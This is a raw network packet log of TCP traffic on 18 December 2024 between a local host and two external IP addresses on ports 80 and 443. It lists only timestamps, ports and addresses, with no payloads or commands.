Dec 18, 2024 09:07:22.710277081 CET	443	49716	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:22.710323095 CET	49716	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:22.710483074 CET	49716	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:22.710508108 CET	443	49716	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:22.844599009 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:22.844666958 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:22.844734907 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:22.845050097 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:22.845063925 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:22.858514071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.858531952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.858542919 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.858586073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.858604908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.858643055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.858655930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.858680964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.858696938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.859132051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.859175920 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.859199047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.859210014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.859240055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.859250069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.859838963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.859898090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.859916925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.859927893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.859954119 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.859966040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.860707045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.860760927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.860842943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.860853910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.860882998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.860896111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.861541986 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.861586094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.861619949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.861630917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.861664057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.862365007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.862416983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.862441063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.862452030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.862483025 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.863202095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.863244057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.863269091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.863281012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.863307953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.863323927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.863949060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.864012957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.864032984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.864044905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.864077091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.864090919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.864869118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.864914894 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.864933014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.864943981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.864981890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.864993095 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.865689039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.865740061 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.865746021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.865756989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.865789890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.866430998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.866473913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.866477966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.866489887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.866513014 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.866522074 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.867857933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.867881060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.867891073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.867906094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.867923021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.868448973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.868489981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.868530035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.868541956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.868573904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.869160891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.869205952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.869235039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.869246006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.869287968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.869874954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.869918108 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.869944096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.869956017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.869985104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.869997025 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.870678902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.870690107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.870699883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.870722055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.870740891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.871146917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.871165991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.871176958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.871191978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.871202946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.871222019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.871712923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.871753931 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.871757030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.871767998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.871792078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.871809959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.872529984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.872576952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.872596979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.872608900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.872642040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.873389959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.873435974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.873478889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.873490095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.873519897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.873538971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.874294996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.874337912 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.874367952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.874380112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.874406099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.874430895 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.875169992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.875211000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.875232935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.875245094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.875278950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.876060009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.876108885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.876372099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.876414061 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.876432896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.876446009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.876475096 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.876504898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.877216101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.877259016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.877268076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.877279997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.877320051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.877331018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.878038883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.878083944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.878098011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.878112078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.878137112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.878155947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.878897905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.878937006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.878976107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.878988028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.879020929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.879821062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.879862070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.879892111 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.879904985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.879935026 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.879950047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.880666018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.880711079 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.880739927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.880752087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.880784035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.880798101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.881513119 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.881561041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.881597042 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.881609917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.881642103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.882380962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.882427931 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.882457972 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.882471085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.882498026 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.882507086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.883281946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.883328915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.883342028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.883352995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.883380890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.883399963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.884133101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.884183884 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.884203911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.884219885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.884246111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.884265900 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.885018110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.885063887 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.885096073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.885108948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.885135889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.885148048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.885859013 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.885901928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.885932922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.885943890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.885981083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.886718035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.886763096 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.886806965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.886818886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.886845112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.886862040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.048474073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.048511028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.048521996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.048538923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.048589945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.048790932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.048831940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.048880100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.048892975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.048926115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.048954964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.049669981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.049715042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.049731970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.049741983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.049777985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.049810886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.050553083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.050606966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.050640106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.050652981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.050683975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.051446915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.051493883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.051497936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.051506042 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.051536083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.051572084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.052279949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.052320957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.052355051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.052365065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.052388906 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.052407980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.053195000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.053236961 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.053256035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.053267002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.053291082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.053322077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.054022074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.054064989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.054064989 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.054076910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.054100990 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.054131985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.054964066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.054974079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.054980993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.055022955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.055712938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.055752039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.055784941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.055794954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.055830002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.056039095 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.056647062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.056668997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.056679010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.056688070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.056713104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.057495117 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.057548046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.057558060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.057574987 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.057595968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.058350086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.058387041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.058404922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.058415890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.058440924 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.058460951 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.059190035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.059228897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.059267998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.059281111 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.059304953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.059328079 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.060091019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.060131073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.060153961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.060163975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.060194016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.060957909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.061003923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.061034918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.061044931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.061069012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.061105013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.061816931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.061862946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.061909914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.061919928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.061960936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.062701941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.062741995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.062764883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.062774897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.062804937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.063541889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.063591003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.063637972 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.063647985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.063679934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.063707113 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.064421892 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.064461946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.064497948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.064507961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.064549923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.065280914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.065324068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.065342903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.065352917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.065381050 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.065399885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.066175938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.066219091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.066251040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.066262007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.066293001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.066313028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.067095041 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.067136049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.067147017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.067157984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.067193985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.067956924 CET	80	49714	31.41.244.11	192.168.2.8
